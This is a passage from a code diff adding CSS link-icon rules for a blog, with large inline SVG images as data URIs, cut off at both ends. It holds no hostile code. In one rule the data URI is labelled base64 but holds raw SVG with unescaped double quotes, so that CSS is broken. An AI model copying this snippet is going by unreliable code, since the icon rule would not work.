			<path d="m-48.831 85.914-0.1571 0.091-0.0537 0.14882-0.3638 0.12817-0.44649 0.69038-8e-3 0.26873 0.0951 0.14883-0.0537-0.23979 8e-3 -0.12401 0.062-0.0496-0.0165-0.062 0.20257-0.3266 0.19844-0.23151 0.0165 4e-3 0.0496 0.0206 0.0537-0.11991 0.21911-0.0868 0.0868-0.11163 0.0909-0.10334z" fill="#ccc"/>
			<path d="m-49.41 87.468-0.0455-0.18603 4e-3 -0.11575 0.0372-0.10335 0.11989-0.16949 0.11989-0.0951 0.1447-0.0703 0.19843-0.062 0.1819-0.0455-0.0165-0.11988 0.062-0.16949-0.16123 0.17775 0.0537 0.11575-0.32246 0.0414-0.26872 0.16949-0.2191 0.26458 8e-3 0.22738z" fill="#ccc"/>
			<path d="m-50.629 88.109 0.12816 0.12404 0.14056 0.0164 0.17776-0.0206 0.1323-0.0827 0.0331-0.11161 4e-3 -0.11162 0.0372 0.11162 0.0124 0.12814-4e-3 0.0703 0.0703 4e-3 0.0661 0.13229 4e-3 0.11988-0.13643-0.14883-0.34726 0.0206-0.20671-0.0579z" fill="#999"/>
		</g>
	</g>
</svg>");
+        width:0px;
+        height:0px;
+        padding:1em 0.7em 1em 0.7em;
+        vertical-align:middle;
+	margin-right: 0.3em;
+        background-repeat: no-repeat;
+        color: rgba(0, 0, 0, 0) !important;
+}
+
+a.blogextlink:before {
+	display:inline-block;
+	content:"  ";
+	background-image: url("data:image/svg+xml;base64,<?xml version="1.0" encoding="UTF-8"?>
<svg version="1.1" viewBox="0 0 25.131094 26.835531" xmlns="http://www.w3.org/2000/svg">
	<defs>
		<filter id="c" x="-.072968" y="-.075889" width="1.1459" height="1.1518" color-interpolation-filters="sRGB">
			<feGaussianBlur stdDeviation="0.66676601"/>
		</filter>
		<filter id="b" x="-.11057" y="-.092619" width="1.2211" height="1.1852" color-interpolation-filters="sRGB">
			<feGaussianBlur stdDeviation="0.44483784"/>
		</filter>
		<filter id="a" x="-.098964" y="-.072967" width="1.1979" height="1.1459" color-interpolation-filters="sRGB">
			<feGaussianBlur stdDeviation="0.45015358"/>
		</filter>
	</defs>
	<g transform="translate(70.933 -78.18)">
		<path d="m-54.04 82.665c-3.3418-0.4451-7.0433-0.77798-9.9663 1.2546-3.5677 1.7474-4.8674 5.9225-5.3265 9.5959 0.2339 3.296 1.7833 6.8024 5.0765 8.0359 3.6665 1.2823 7.8341 2.6678 11.655 1.2973 2.1999-1.2413 4.564-3.0153 4.6329-5.7847 0.85615-3.1288 0.66995-6.459-0.0819-9.5815-0.71079-2.9211-3.8756-3.3081-5.9896-4.8174z" fill="#d5e5ff" filter="url(#c)"/>
		<path d="m-55.877 86.268c0.0409-0.73593 0.26902-1.4409 0.62661-2.0808 1.8614-2.8719 5.5296-4.5194 8.1992-5.8335-0.34024 2.5445-1.1133 5.1696-2.1871 7.2623-0.57596 1.0297-1.5592 2.1388-2.6095 2.3922-0.56339 0.14445-1.0553 0.36139-1.1391 0.99188-0.18991 0.48428-0.37982 0.96856-0.56975 1.4528-1.4074-0.26194-4.6712-2.3836-3.3325-3.1436z" fill="#fff"/>
		<g>
			<path d="m-50.038 87.717-0.16537-0.34727-0.22324-0.12401s0.10749-0.13229 0.14883-0.14057c0.0413-8e-3 0.26458 0.14057 0.26458 0.14057l0.21498 0.30591-0.0744 0.0992-0.13229 0.0164z" fill="#808080"/>
			<path d="m-49.971 88.233 0.46472-0.11127 0.41237-0.43855-0.0654-0.54981 0.30109-0.27491 0.45817-0.0582-0.0262-0.32141-0.17673-0.15055-0.15709 0.17018 0.0469 0.11954-0.31521 0.0506-0.25011 0.1564-0.2408 0.2756 0.0131 0.25528-0.0458-0.31418 0.32073-0.53019 0.41235-0.216 0.1309-0.25526-0.1309-0.11127-0.17672 0.0786-0.0459 0.13745-0.35 0.13296-0.21291 0.29903-0.23562 0.36656-0.0262 0.42545-0.0589 0.24218-0.22805 0.18946 0.0513 0.11162 0.0523 0.25528z" fill="#b3b3b3"/>
			<path d="m-50.653 87.892c-0.0228 0.0696 4e-3 0.17565 0.0441 0.2583 0.0368 0.0732 0.0736 0.16781 0.16816 0.17356 0.0699 0.0201 0.14292 0.052 0.2149 0.02 0.0771-0.0272 0.1604-0.0334 0.23609-0.064 0.0512-0.0546 0.0266-0.15075 0.0155-0.22042-0.0277-0.0785-0.0298-0.18299-0.1173-0.21901-0.0806-0.0484-0.15901-0.13337-0.25927-0.12656-0.0926-3e-3 -0.20516 0.0173-0.26158 0.1004-9e-3 0.0182-0.0254 0.0285-0.0302 0.0479z" fill="#ccc"/>
		</g>
		<path d="m-56.347 85.242c-3.0737 0.0665-6.6618 0.98523-8.2118 3.9067-2.6068 4.8087-0.26927 8.8313 3.2668 10.521 1.1543 0.83526 3.9218 1.0703 5.3428 0.6924 4.7649-1.6821 7.135-6.9193 4.4958-11.082-0.0363 0.0471-0.47185-0.8521-0.90999-0.39165-0.31041 0.32621-0.58919 1.9938-0.87466 2.236-0.33927 0.28788-0.28155-0.21993-0.5949 0.19934-0.2574 0.3444-0.28705 1.7146-0.49491 1.9535-0.60542 0.69573-0.58415 0.23366-0.61421-0.21498-0.29069 0.28574-0.35362 1.0309-0.71904 1.4731-0.45 0.54456-0.0699-1.0674-0.3482-0.79299-0.38035 0.37509-1.2988 1.8775-1.6182 2.1653-0.60318 0.54352 0.21008-0.97617-0.32755-0.49263-0.0108 0.01-0.77918 0.71049-0.48847 1.3188 0.18909 0.39567 1.3659 0.69826 1.6447 0.93073 0.40479 0.33758 1.0142-0.29901 1.3381-0.19077 0.50949 0.17026 0.58455-0.40339 0.87935-0.41734 0.16702-8e-3 0.16536-0.93623-0.25955-1.2164-0.29687-0.19572-1.0158 0.2841-1.1146 0.0927-0.19153-0.37111 0.77447-0.59397 0.97446-0.53918 0.73053 0.20011 0.7549 1.0542 1.1663 1.3413 0.49614 0.3462-0.82248 1.0088-0.69167 1.2586 0.32408 0.61888-2.1334 0.39157-2.1712 0.68788-0.0545 0.42698-1.8497-0.70197-1.9934-0.56992-0.33237 0.30542-1.206-0.94139-1.3793-0.76722 0.0189-1.2924 0.34352-1.9327 0.425-2.6262 0.019-0.16142-0.70327 7e-3 -0.68678-0.16112 0.0249-0.25376 0.79694-0.61099 0.5951-0.88352-0.0751-0.10135-0.17046-0.20471-0.28965-0.31061 0.27982-0.44453 0.9331-0.83718 0.88175-0.97799-0.0482-0.13226-0.23669-0.17655-0.63561-0.43874 0.35663-0.34164 0.64513-0.53746 1.1921-1.2124-0.0919-0.16598-0.12008-0.30607-0.18982-0.67385 0.24928-0.72131 0.65769-1.2469 0.66159-1.8297-0.0711-0.66164 0.24518-0.74892 0.42633-1.024 0.23789-0.36118 0.81359-0.72503 1.0763-1.033 0.24154-0.2832 0.0211-0.62728 0.24717-0.9316z" fill="#2a7fff"/>
		<path d="m-50.11 82.157c0.66814-0.32203 1.5931-0.32177 1.3901 0.68711-6e-3 0.65518-0.37358 1.6543-1.1461 1.6375-1.4515-0.26875-1.4058-1.7219-0.24396-2.3246z" fill="#999"/>
		<path d="m-57.269 88.111-0.58598 1.6408 0.17579 0.49809-1.0255 1.2013 0.82039-0.2344-1.3478 2.2854 0.73249-0.3809-0.6739 2.6077 2.1389-2.2268-0.23441 1.2599 1.7287-2.5198-0.0293 1.4064 0.7325-1.9045 0.29298 0.82038 0.4981-2.1389-1.3185-0.67389-1.0255-0.586z" fill="#c87137"/>
		<path d="m-50.482 83.51c5e-3 0.0107 0.046 0.42729 0.046 0.42729l-0.0189 0.28125-0.21739-0.17434-0.20719-0.29622-0.0514-0.32722-0.0131-0.18396 0.10772-0.17032 0.22176-0.0379 0.046 0.33533 0.0865 0.15957z" fill="#333"/>
		<path d="m-53.909 82.58 1.1602 1.0152 1.5124 1.0152 1.2016 0.66297 0.78728 0.31077-0.76656 1.2638-0.53867 0.41436-1.8853-0.78728-1.1809-0.76657-1.0566-0.9323-0.49723-0.76656 0.74584-0.93231z" fill="#ff0" stroke="#000" stroke-width=".2344px"/>
		<g fill="none" stroke="#000" stroke-width=".2344px">
			<path d="m-53.059 83.368-1.4295 1.5538"/>
			<path d="m-52.003 84.155-1.3674 1.6989"/>
			<path d="m-50.843 84.859-1.3674 1.6989"/>
			<path d="m-49.993 85.357-1.2016 1.7196"/>
			<path d="m-54.592 83.306 0.62154 0.82871 1.2224 0.99447 1.2016 0.72513 0.93231 0.43507 0.84944 0.16574"/>
		</g>
		<g stroke="#000" stroke-width=".2344px">
			<path d="m-53.909 82.643 0.84944 0.68368-0.76657 0.87014-0.78728-0.84942z"/>
			<path d="m-52.003 84.134 1.1809 0.72512-0.78728 0.95304-1.098-0.66297z"/>
			<path d="m-49.889 85.336s-0.78728 0.93229-0.70441 0.93229c0.0828 0 0.84943 0.16574 0.84943 0.16574l0.47651-0.8287z"/>
			<path d="m-53.888 84.238 1.1809 0.84943-0.68369 0.74585-1.0877-0.95302z"/>
			<path d="m-51.609 85.937-0.64226 0.64226 1.1395 0.39363 0.49723-0.68369z"/>
		</g>
		<path d="m-49.257 81.992c0.8091 0.35695 0.072 2.0826-0.34936 2.2099-0.14128 0.10401-0.55813 0.015-0.7103 0.0449 0.0299 0.0963 0.3336 0.14717 0.4394 0.18169 0.17961 0.0456 0.49577-0.0452 0.61979-0.18294 0.24116-0.21326 0.39677-0.51461 0.43702-0.83347 0.0681-0.31654 0.15099-0.62969 0.22113-0.94578-0.0804-0.24796-0.33212-0.53166-0.61211-0.50978-0.0257-3.7e-4 -0.0211 0.0433-0.0455 0.0355z" fill="#615f61" fill-opacity=".77686"/>
		<g fill-opacity=".65702">
			<path d="m-55.877 86.289c0.38059 0.5006 0.0339 0.36127 0.55938 0.6837-0.82821 0.91206-0.73584 0.89088-1.5953 1.5331-0.51242-0.4872-0.10411-0.12233-0.33148-0.76656l0.3522-0.47651z" fill="#ccc"/>
			<path d="m-57.12 88.216-0.49723 1.6574 0.39363-0.16574-0.64225 1.326 0.70441-0.43509-1.4088 2.3826 0.89087-0.66299-0.808 1.9268 2.569-2.3204-0.78728 1.471 1.4917-2.1547-0.1243 1.1188 0.64225-1.616-0.0828 0.82873 0.47651-1.3467-0.99445-0.35221-0.6837-0.41436-0.60082-0.64225z" fill="#d7d415"/>
			<path d="m-55.877 86.268 0.62153 0.76657 0.78728 0.43509 0.82873 0.4765-1.0566-0.1243-0.91159-0.0622-0.808-0.10358-0.7044 0.26933-0.0415-0.35221 0.43508-0.33148 0.51794-0.64227z" fill="#ccc"/>
		</g>
		<path d="m-56.669 88.866-0.29766 0.61185h0.33073l-0.39687 0.82683 0.46302-0.11576-0.72761 1.6371 0.42995-0.31419-0.5457 1.1741 1.5048-1.4552-0.0165 0.46302 0.61185-1.0418 0.11575 0.51263 0.41341-0.94258 0.1819 0.3142 0.0992-0.39688-0.95911-0.57877-0.76068-0.52917z" fill="#ffe680"/>
		<path d="m-50.083 82.13c0.66815-0.32204 1.5931-0.32177 1.3901 0.68711-6e-3 0.65518-0.37358 1.6543-1.1461 1.6375-1.4515-0.26876-1.4058-1.7219-0.24396-2.3246z" fill="none" stroke="#000" stroke-width=".04252"/>
		<g>
			<path d="m-54.903 90.018c0.39179-0.90891 1.0749-1.7886 1.6216-2.6219 1.0084-0.38889 1.9219-0.99453 2.6816-1.7607 0.47843-0.4476 0.82823-1.021 1.1524-1.5849 0.31112-1.0617 0.82382-2.0414 1.3776-2.9934 0.38444-0.85208 0.48549-1.8139 0.98137-2.6229 0.10457-0.11464-0.12558 0.82893-0.1768 1.1305-0.1437 0.52591-0.14915 1.1601-0.28173 1.69-0.18768 0.7501-0.50532 1.395-0.75187 2.1263-0.40837 1.086-0.8353 2.1916-1.4984 3.146-0.65758 0.75923-1.4622 1.4386-2.4688 1.6605-0.62377 0.30817-0.75529 1.1252-1.0931 1.6917-0.13826 0.39433-0.22076 0.93608-0.68406 0.47035-0.14157-0.0759-0.71823-0.25553-0.85979-0.33149z" fill-opacity=".3719"/>
			<g>
				<path d="m-50.723 82.914c0.17053-0.0465 0.36868-0.0459 0.58146 7e-3 0.0625 0.0475 0.0755 0.1681 0.0215 0.2448-0.0702 0.0562-0.16743-0.0799-0.22625-4e-3 0.0107 0.0355 0.19224 0.0618 0.0991 0.0852-0.0895-7e-3 -0.17357-0.0698-0.26243-0.0556-0.11437 0.0705 3.71e-4 0.20334-4e-3 0.30144-5e-3 0.0779 0.045 0.18207-4e-3 0.24471-0.0248-0.10422-0.01-0.21794-0.0474-0.32136-0.0507-0.0848-3e-3 -0.22091-0.1078-0.27063-0.11537-0.0541-0.25349 0.0554-0.23527 0.1792 1e-4 0.0671-0.0223 0.11391-0.019 0.0195 0.0202-0.12859 9e-3 -0.30921 0.12528-0.38754 0.0267-0.014 0.0551-0.0256 0.0796-0.0431z"/>
				<path d="m-50.358 83.147 0.31032 0.0873 0.0339-0.0114 0.0257 3e-3 0.0298 0.0521-0.0304-0.0365s9e-3 0.0454 6e-3 0.0426c-3e-3 -3e-3 -0.0189-0.0379-0.0189-0.0379s-5e-3 0.0352-9e-3 0.0331c-4e-3 -2e-3 -0.0136-0.0304-0.0136-0.0304s-7e-3 0.0324-9e-3 0.0298c-2e-3 -3e-3 -0.0189-0.0311-0.0189-0.0311l-0.0136-2e-3 -5e-3 0.0102-2e-3 0.0203 4e-3 0.0264 0.0121-0.0291s0.0229 0.0548 0.0284 0.0521c5e-3 -3e-3 3e-3 -0.0413 3e-3 -0.0413l0.0149 0.048s0.0102-0.0588 9e-3 -0.0547c-6.61e-4 4e-3 4e-3 0.0663 4e-3 0.0663l0.0196-0.0324-0.0162 0.0493-0.0291-2e-3 -0.0406-0.0338-0.0277-0.0318-8e-3 -0.0324-0.0541-0.0216-0.11358-0.0392-0.0994-0.0352z"/>
				<path d="m-50.16 83.234c0.0269 0.0266 0.0349 0.0712 0.0171 0.10501-0.0152 0.0106-0.0267 0.0532 4e-3 0.0456 0.0249-6e-3 2e-3 -0.0357 8e-3 -0.0527 3e-3 -0.0307-3e-3 -0.0619-3e-3 -0.0911-9e-3 -2e-3 -0.0179-4e-3 -0.0259-7e-3z"/>
			</g>
		</g>
		<path d="m-47.113 78.478-1.5746 1.4917-1.616 1.3881-1.0773 0.93232-1.2016 1.4502-1.326 1.7196-0.47651 1.0359-0.29005 0.76656-0.58011 0.72514-1.2845 1.1188-0.80799-1.2016 0.26933-0.4765 1.2431-1.1602 0.14503-1.2016 0.58011-1.2638 1.3467-1.3052 1.9268-1.4917 2.1547-1.4295 2.2375-1.0152z" fill="#ccc" fill-opacity=".53719"/>
		<g>
			<path d="m-50.831 83.145c0.0297 0.0839 0.0581 0.16984 0.0523 0.26002 0.0115 0.13622-8e-3 0.27162-0.0237 0.40647-3e-3 0.0476 0.0142 0.0811 0.0201 0.012 0.0385-0.1441 0.019-0.2944 0.0434-0.44056 0.0534-0.099 0.1577 0.0507 0.11325 0.11704-0.0183 0.10954-0.0234 0.22154-0.0159 0.33225 4e-3 0.0477 0.0204 0.14818 0.0231 0.16192-0.0113-0.12026-0.0213-0.24226 5e-3 -0.36134 4e-3 -0.0861 0.0516-0.17708 3e-3 -0.25668-0.0362-0.0924-0.0673-0.18661-0.10113-0.27988-0.0399 0.0162-0.0796 0.0328-0.11946 0.0487z"/>
			<path d="m-50.842 83.408 0.12711 0.0298 0.0486 0.0703 0.027-0.0676 0.0947-0.0622 0.0108 0.0216-0.0947 0.0649-0.0486 0.10817-0.0595-0.11899-0.0947-0.0244-0.0244-0.0244z"/>
			<path d="m-50.843 83.502 0.12711 0.0298 0.0486 0.0703 0.027-0.0676 0.0947-0.0622 0.0108 0.0216-0.0947 0.0649-0.0486 0.10816-0.0595-0.11898-0.0947-0.0244-0.0244-0.0244z"/>
			<path d="m-50.851 83.608 0.1271 0.0298 0.0486 0.0703 0.027-0.0676 0.0947-0.0622 0.0108 0.0216-0.0947 0.0649-0.0486 0.10817-0.0595-0.11899-0.0947-0.0244-0.0244-0.0244z"/>
			<path d="m-50.544 83.197c-0.0153 0.0467-0.0599 0.11385-4e-3 0.15072 0.0632 0.0401 0.13565 0.073 0.17519 0.14054 0.0376 0.0501 0.0917 0.11376 0.0572 0.1796-0.0314 0.0655-0.0246 0.15078 0.0257 0.20523 0.019 0.0606 0.0711 0.11725 0.13961 0.10827 0.0348 9e-4 0.12465 0.0595 0.086 0.0832-0.0411-0.0249-0.0753-0.0759-0.13042-0.0632 0.0176 0.0429 0.087 0.0703 0.12025 0.11177 0.041 0.0174 0.0133 0.13492-9e-3 0.0624-0.01-0.0582-0.0674-0.082-0.10612-0.11758-0.0238-0.0215-0.0614-0.0443-0.0207-5e-3 0.0323 0.0303 0.0933 0.11042 0.0611 0.13761-0.029-0.0361-0.07-0.11292-0.0934-0.12442 0.0282 0.0495 0.0443 0.11143 0.0174 0.16515-0.0179-0.051-0.0201-0.13496-0.05-0.19375-0.0326-0.0914-0.0741-0.1802-0.10407-0.27205-0.0166-0.0665 0.0576-0.13145 0.0202-0.19165-0.0514-0.0471-0.13645-0.0502-0.17385-0.11383-9e-3 -0.072-0.0616-0.15223-0.0461-0.21826 0.0114-0.0149 0.0229-0.0297 0.0344-0.0445z"/>
		</g>
		<circle cx="-50.29" cy="83.018" r=".040636" fill="#999"/>
		<circle cx="-50.257" cy="83.037" r=".032508"/>
		<path d="m-59.166 85.674c-1.6237 2.0554-3.0603 4.4906-2.8824 7.2061-0.30691 2.0984 0.14824 4.4367 1.9343 5.769 1.3968 1.3179 4.2429 0.91872 5.3772 1.2052-3.7714 1.775-8.4291-0.43718-10.27-3.961-1.4587-2.8576-0.31314-6.5906 2.0538-8.6076 1.0942-0.84519 2.4037-1.457 3.7866-1.6116z" fill="#00f" fill-opacity=".82231" filter="url(#a)"/>
		<path d="m-50.619 87.942c-0.0164-0.0536 0.0313-0.14761 0.13413-0.18939 0.11334-0.0111 0.12534-0.0164 0.20007 0.0175 0.0735 0.0172 0.11221 0.12691 0.13561 0.18373 0.0158 0.12264-0.0689 0.12545-0.11552 0.18221-0.0645 0.0255-0.15697 0.0897-0.22089 0.0365-0.064-0.0648-0.0751-0.0712-0.11898-0.14902z" fill="#f2f2f2"/>
		<g>
			<path d="m-49.971 88.252h-0.144l-0.17018 0.0916 0.34691 0.013 0.11127 0.144 0.47127-0.072 0.35345-0.10472-0.0262-0.34037-0.15055-0.18326-0.26181 0.28144z" fill="#ccc"/>
			<path d="m-50.577 87.933 0.0526-0.10962 0.11693-0.0394 0.0789 0.0116 0.10232 0.0541-0.0775-0.0161-0.11401 0.0204-0.0775 0.0395z" fill="#fff"/>
			<path d="m-48.602 86.335 0.0848 0.16664 0.0292 0.18708-0.0906 0.0643-0.28648 0.0322-0.36249 0.3157-0.0702 0.18418 0.0263 0.28061-0.16662 0.21048-0.20463 0.11401-0.0848-0.20463-0.0234 0.42095 0.26309-0.10816 0.22217-0.16661 0.17539-0.15787-0.0672-0.53494 0.29525-0.28064 0.4648-0.0614-0.0322-0.31572z" fill="#808080"/>
			<path d="m-49.786 88.395c-0.0145-0.0185-0.12609-0.30385-0.12609-0.30385l0.28525-0.0765 0.19431-0.12401 0.13022-0.1075 0.14676 0.14058 0.0682 0.33898-0.32039 0.0951z" fill="#e6e6e6"/>
			<path d="m-48.856 85.947c4e-3 0.0249 0.0827 0.16123 0.0827 0.16123l-0.15296 0.17778-0.339 0.12816-0.091 4e-3 0.0413 0.10335-0.11576 0.22326-0.21497 0.23563h-0.062l0.11989 0.11576 0.0289 0.27699-0.13229 0.11988-0.13229-0.18602 8e-3 0.45061 0.0786-0.20672h0.10335l0.13229-0.0992 0.12816 0.0951-0.14056-0.2191-0.0372-0.30178 0.31006-0.51679 0.43822-0.22736 0.0992-0.24804-0.13229-0.11576z" fill="#808080"/>
		</g>
		<g fill="#ccc">
			<path d="m-49.82 88.114 0.10378 0.24702 0.11401-0.0132-0.10235-0.26307z"/>
			<path d="m-49.655 88.071 0.10378 0.24702 0.11254-0.0132-0.10085-0.26307z"/>
			<path d="m-49.494 88.004 0.10816 0.30256 0.10816-0.038-0.10962-0.34346z"/>
			<path d="m-49.351 87.895 0.11694 0.35518 0.0994-0.0307-0.14612-0.36684z"/>
		</g>
		<path d="m-50.485 88.308 0.1695 0.0455h0.11162l0.16123-8e-3 0.091-4e-3 0.12816 0.14883 0.49196-0.0661 0.31833-0.0992-0.0165-0.34314-0.15805-0.16339-0.0384 0.0357-0.0365-0.0323 0.16636-0.1554-0.0615-0.52796 0.29231-0.28307 0.46424-0.0601-0.0331-0.31835 0.0372 0.0206 0.0289 0.33898-0.50436 0.062-0.25632 0.25218 0.062 0.51675-0.0951 0.11163 0.1695 0.20672-4e-3 0.37619-0.37207 0.11162-0.45888 0.0662-0.11989-0.15708-0.26045 4e-3 -0.1571-8e-3z"/>
		<path d="m-49.509 87.332-0.0537-0.29766 0.31637-0.53111 0.436-0.21641 0.0992-0.24879-0.13224-0.12404 0.16264 0.12307-0.0965 0.26555-0.43408 0.22323-0.30592 0.5085z"/>
		<path d="m-50.355 87.908c0.0284 0.0175 0.0496 0.0439 0.0681 0.0703 8e-3 4e-3 0.0164 5e-3 0.0241 9e-3" fill="none" stroke="#666" stroke-width=".01"/>
		<g>
			<circle cx="-50.468" cy="87.961" r=".016809" fill="#ececec" stroke="#999" stroke-linejoin="round" stroke-width=".01"/>
			<circle cx="-50.412" cy="88.047" r=".016809" fill="#ececec" stroke="#999" stroke-linejoin="round" stroke-width=".01"/>
			<path d="m-50.359 88.169l0.0672-0.0453c0.0113-0.0207 0.0274-0.038 0.0521-0.0406 0.0267-0.0115 0.0662 0.0174 0.0475 0.0456-0.0233 0.0213-0.0547 0.0317-0.0863 0.029h-0.0511c-0.01 4e-3 -0.0205 9e-3 -0.0294 0.0113z" fill="#999"/>
		</g>
		<path d="m-52.188 88.882c0.19058 0.83698 0.59423 1.6458 0.48008 2.5211 0.0245 1.005-0.22252 1.9949-0.52846 2.9439-0.45845 0.89608-0.83331 1.8446-1.4912 2.6214-0.33494 0.57191-0.8207 0.99723-1.3763 1.3461-0.71769 0.47933-1.4035 1.0438-2.2001 1.3797-0.7219 0.18611-1.4474 0.36276-2.1976 0.36455-0.33891 0.02-0.76992 0.0339-0.12278 0.097 0.89167 0.15208 1.7859 0.3368 2.6927 0.21193 0.88112 0.0397 1.6456-0.45296 2.4562-0.72592 0.83967-0.36238 1.4722-1.0842 2.2046-1.6238 0.55784-0.91064 1.273-1.7466 1.542-2.8013 0.33705-0.72817 0.46019-1.4978 0.41712-2.2953 0.0625-0.86225-0.27988-1.68-0.48299-2.5048-0.4204-0.49768-0.46908-1.5484-1.2445-1.5179l-0.14883-0.0165z" fill="#aaf" fill-opacity=".76446" filter="url(#b)"/>
		<path d="m-55.917 86.296c0.0409-0.73593 0.26902-1.4409 0.62661-2.0808 1.8614-2.8719 5.5296-4.5194 8.1992-5.8335-0.34024 2.5445-1.1133 5.1696-2.1871 7.2623-0.57596 1.0297-1.5592 2.1388-2.6095 2.3922-0.56339 0.14445-1.0553 0.36139-1.1391 0.99188-0.18991 0.48428-0.37982 0.96856-0.56975 1.4528-1.4074-0.26194-4.6712-2.3836-3.3325-3.1436z" fill="none" stroke="#000" stroke-width=".2344px"/>
		<g>
			<path d="m-49.944 87.876-0.0585-0.27479-0.0175-0.23971-0.41511-0.22215-0.10523-0.10525 0.24555-0.10523 0.30987 0.228 0.22217 0.14033-0.0292 0.38002z" fill="#b3b3b3"/>
			<path d="m-50.311 88.148c0.0191-0.0117 0.0395-0.0247 0.0491-0.0459 0.0176-0.0144 0.0353-0.0139 0.0531-6e-3 9e-3 0.0147-0.0137 0.0318-0.0263 0.0213-0.0288 7.4e-4 -0.0467 0.0319-0.0759 0.0306z" fill="#e6e6e6"/>
			<path d="m-48.831 85.914-0.1571 0.091-0.0537 0.14882-0.3638 0.12817-0.44649 0.69038-8e-3 0.26873 0.0951 0.14883-0.0537-0.23979 8e-3 -0.12401 0.062-0.0496-0.0165-0.062 0.20257-0.3266 0.19844-0.23151 0.0165 4e-3 0.0496 0.0206 0.0537-0.11991 0.21911-0.0868 0.0868-0.11163 0.0909-0.10334z" fill="#ccc"/>
			<path d="m-49.41 87.468-0.0455-0.18603 4e-3 -0.11575 0.0372-0.10335 0.11989-0.16949 0.11989-0.0951 0.1447-0.0703 0.19843-0.062 0.1819-0.0455-0.0165-0.11988 0.062-0.16949-0.16123 0.17775 0.0537 0.11575-0.32246 0.0414-0.26872 0.16949-0.2191 0.26458 8e-3 0.22738z" fill="#ccc"/>
			<path d="m-50.629 88.109 0.12816 0.12404 0.14056 0.0164 0.17776-0.0206 0.1323-0.0827 0.0331-0.11161 4e-3 -0.11162 0.0372 0.11162 0.0124 0.12814-4e-3 0.0703 0.0703 4e-3 0.0661 0.13229 4e-3 0.11988-0.13643-0.14883-0.34726 0.0206-0.20671-0.0579z" fill="#999"/>
		</g>
	</g>
</svg>");
+        width:0px;
+        height:0px;
+        padding:1em 0.7em 1em 0.7em;
+        vertical-align:middle;
+	margin-right: 0.3em;
+        background-repeat: no-repeat;
+}
+
+a.blogintlink:before {
+	display:inline-block;
+	content:"  ";
+	background-image: url("data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPHN2ZyB2ZXJzaW9uPSIxLjEiIHZpZXdCb3g9IjAgMCA4LjQxMTI4NjQgNy44MDg0ODIyIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPgoJPGcgdHJhbnNmb3JtPSJ0cmFuc2xhdGUoLTkxLjA0NCAtMjM0Ljg5KSI+CgkJPHBhdGggZD0ibTk2LjM3OSAyMzUuMThjLTEuNTA3My0wLjQ3MjMtMi41NjIyLTAuMzc5NzYtMy42MDI5IDAuMzkxMS0yLjI1NTggMS42NjUtMi4wNDU4IDQuMDQwNS0wLjc3MTk2IDUuNTkzOSAwLjM1NDExIDAuNjM4NzQgMS41ODc1IDEuMzQ5OCAyLjMyOTMgMS40ODM0IDIuNTc3NSAwLjI1NTU5IDQuODgyOC0xLjE4MDIgNC41NjMxLTMuNjg2My0wLjU0MzkyIDAuMjk3MzgtMS4wNzg0IDAuNTk0MzctMS44MiAwLjkzMjk0IDAuMTA0OTQgMC40OTAwNCAwLjIyMTggMS4xNjE4IDAuMjIxOCAxLjE2MThzLTIuNDA3Ni0wLjYxMjYxLTMuMjQ2My0wLjc5NzY0YzAuNDUzNjMtMC43MzkwMyAwLjkyMzEyLTEuNDIyNSAxLjMwMS0xLjkzNTYtMC4wNTk4LTAuMDU2MS0wLjUwNzY3IDAuNTE0NzUtMC41NzkzOSAwLjQ1NTkxLTAuMzQ0NzktMC4yODI4Ni0wLjY3MDYtMC40OTcwMy0xLjA2My0wLjg5ODY4IDEuMDQwMS0xLjU1NyAxLjQwNDctMS45OTU3IDIuNjg0OS0yLjY4NDR6IiBmaWxsPSIjZDRhYTAwIi8+CgkJPHBhdGggZD0ibTk0LjgyOSAyMzguNS0wLjcyNzYtMC41OTUzMmMwLjY3ODQtMS4wOTU0IDEuNzA0Ni0yLjMwMyAyLjg3NTctMi41NjkgMi41MDg4LTAuMzk4NzIgMy4zMTUzIDIuNDc3MiAxLjQ3NjYgMy41MDQxLTAuODQxMTIgMC40NzI5OS0xLjUxMDQgMC42MzgxNi0xLjg1OTYgMC45NzA5OSAwLjEyMTY2IDAuNDU4MDYgMC4wODk1IDAuMzI2MDYgMC4yMzI5MSAwLjgyNjE0LTAuNzMyMi0wLjE4MzA1LTEuNDY0NC0wLjM2NjExLTIuMTk2Ni0wLjU0OTE2bDEuMTI0NS0xLjkwMTdjMC4xNzQ3NiAwLjI2NTEyIDAuMjY4MyAwLjUwMzAxIDAuNDY5MjMgMC44NDc0OSAwLjM2MTczLTAuMTcyMjUgMS4yMTk2LTAuNjI1NjIgMS41ODEzLTAuNzk3ODggMC44NDg5OC0wLjQ1OTY1IDEuMTQwNS0xLjcwNzYtMC4wMTY1LTIuMDQyMi0xLjQ5NjgtMC4zMTM0NS0yLjI5ODQgMS4xNTI0LTIuOTU5OSAyLjMwNjZ6Ii8+CgkJPHBhdGggZD0ibTk1LjQ4MyAyMzcuOTFjMC4wODE5IDAuMTQyNjYgMC4yNzk3Mi0wLjE2NTAyIDAuNDM2NjktMC4xMDQzOSAwLjIwNTI3IDAuMDc5MyAwLjM3ODExIDAuNTE0NDEgMC41MDg3OCAwLjYzODUxIDAuNDg3NTQtMC4yMjg3NCAwLjk5MzEzLTAuNDM3NTQgMS40NTAzLTAuNzE4ODQgMC4yNDgwNi0wLjI0NjM5IDAuNDcyODktMC43NTQyNSAwLjE0MjQtMS4wMTg5LTAuMjI4NC0wLjI3MjY2LTAuNzQyOTYtMC4zMDcyMi0xLjA0NjEtMC4xNzI3MS0wLjQ5MTk0IDAuMTMxOC0xLjE2NzUgMC45OTE3NS0xLjQ5MjEgMS4zNzY0eiIgZmlsbD0iI2Q0YWEwMCIvPgoJCTxwYXRoIGQ9Im05MS42NTMgMjQwLjYyYzEuNzY3NyAxLjQzNDEgNC44MDA4IDEuNDk1NiA2LjM3NDggMC4wNjAyIDAuNDQ1MDItMC41NTg5OCAwLjY3MjYxLTAuODI1ODggMC45MTUwNS0xLjQ2NTEgMC4wODk1IDEuMjAzOS0wLjY1MTQ0IDIuNDI4LTEuNzA5IDIuOTU1OS0xLjg4ODQgMC43OTk0Ni0zLjQ1OTQgMC43Nzg0NC00Ljk0MjktMC43MjQ5NS0wLjI1MTE1LTAuMjQxODgtMC40ODI4Mi0wLjUxMTM0LTAuNjM3OTQtMC44MjU5OXoiIGZpbGw9IiMxODFlMjQiIGZpbGwtb3BhY2l0eT0iLjA5NTA0MSIvPgoJCTxwY